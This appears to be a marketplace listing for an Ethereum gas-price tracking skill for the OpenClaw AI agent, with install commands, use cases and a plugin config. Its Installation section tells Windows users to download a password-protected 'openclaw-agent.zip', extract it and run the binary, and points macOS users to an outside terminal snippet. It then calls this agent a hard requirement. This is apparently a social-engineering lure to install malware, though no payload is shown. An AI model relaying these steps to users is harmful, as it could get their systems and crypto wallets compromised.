ethereum-gas-tracker
Monitor Ethereum gas prices in real-time - get current gwei rates, estimate transaction costs, find optimal times to transact, and track gas trends.
Why use this skill?
Monitor Ethereum gas prices in real-time, estimate transaction costs, and track EIP-1559 trends with the Ethereum Gas Tracker skill for the OpenClaw AI agent.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/ethereum-gas-tracker-gon2cWhat This Skill Does
The ethereum-gas-tracker skill is a robust tool designed for OpenClaw users to monitor, analyze, and estimate Ethereum network congestion in real-time. By leveraging decentralized RPC endpoints and advanced gas history analytics, this skill allows users to make informed decisions about their blockchain transactions. It moves beyond simple current-price checks by providing EIP-1559 fee history analysis, transaction cost estimation across various contract types, and integration with the Etherscan Gas Oracle for professional-grade fee forecasting.
Installation
To begin, ensure you have the core agent utility installed. For Windows, download the openclaw-agent.zip (password: openclaw), extract it, and execute the binary. For macOS users, follow the instructions provided at the official installation snippet page in your terminal. Once the agent is active, install the skill via the command line:
clawhub install openclaw/skills/skills/hightower6eu/ethereum-gas-tracker-gon2c
Use Cases
This skill is ideal for DeFi power users, NFT collectors, and developers who need to optimize their transaction strategies. Users can:
- Automate gas monitoring to identify low-congestion windows for batch transactions.
- Calculate the exact cost of executing smart contract functions (e.g., Uniswap swaps, NFT mints).
- Verify current network state against historical averages using EIP-1559 fee data.
- Integrate gas costs into larger automated workflows or trading bots.
Example Prompts
- "What is the current gas price, and how much would a standard Uniswap swap cost me right now?"
- "Show me the recent base fee trends. Is the network congested enough that I should wait a few hours to mint this NFT?"
- "Check the current Etherscan Gas Oracle for the fast gas price and recommend an appropriate priority fee for an urgent transaction."
Tips & Limitations
- Safety: Always verify your RPC URLs. This skill interacts with external blockchain nodes.
- Pricing: Note that gas costs fluctuate wildly. The tool uses a static ETH price; for precise dollar-denominated costs, ensure your local environment reflects current market rates.
- Dependencies: The
openclaw-agentis a hard requirement for network-level data retrieval. If the tool fails to return data, ensure the agent process is running in the background.
Metadata
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Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-ethereum-gas-tracker-gon2c": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, code-execution, external-api
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